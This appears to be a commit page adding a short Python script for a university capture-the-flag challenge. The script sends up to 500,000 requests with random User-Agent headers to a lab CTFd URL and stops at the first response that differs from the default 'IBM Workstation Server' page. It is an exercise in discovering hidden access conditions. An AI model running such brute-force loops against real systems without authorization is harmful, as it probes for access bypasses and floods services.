a
This commit is contained in:
46
WS24_25/PyCharm/pythonProject/A/bruteForce.py
Normal file
46
WS24_25/PyCharm/pythonProject/A/bruteForce.py
Normal file
@@ -0,0 +1,46 @@
|
||||
import requests
|
||||
from fake_useragent import UserAgent
|
||||
|
||||
# URL to brute force
|
||||
url = "https://ctfd.labs.inf.fh-dortmund.de/ctfd-challenge-4"
|
||||
|
||||
# Create a UserAgent instance
|
||||
ua = UserAgent()
|
||||
|
||||
# Default HTML content
|
||||
default_response = """<!doctype html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="utf-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
|
||||
<title>User Agent Info</title>
|
||||
<link rel="stylesheet" href="/ctfd-challenge-4/static/style.css">
|
||||
</head>
|
||||
<body>
|
||||
<div class="container">
|
||||
<h1>IBM Workstation Server</h1>
|
||||
<p>Diese Seite bedient ausschließlich von IBM eingerichtete Geräte</p>
|
||||
</div>
|
||||
</body>
|
||||
</html>"""
|
||||
|
||||
# Function to brute force headers
|
||||
def brute_force_user_agent():
|
||||
for _ in range(500000): # Adjust the range for the number of User-Agents you want to try
|
||||
user_agent = ua.random # Generate a random User-Agent
|
||||
headers = {
|
||||
"User-Agent": user_agent
|
||||
}
|
||||
try:
|
||||
response = requests.get(url, headers=headers)
|
||||
if response.text.strip() != default_response.strip():
|
||||
print(f"User-Agent '{user_agent}' gives a different response:")
|
||||
print(response.text)
|
||||
return
|
||||
# else:
|
||||
# print(f"Nope: '{user_agent}'")
|
||||
except requests.exceptions.RequestException as e:
|
||||
print(f"Error with User-Agent '{user_agent}': {e}")
|
||||
|
||||
if __name__ == "__main__":
|
||||
brute_force_user_agent()
|
||||
Reference in New Issue
Block a user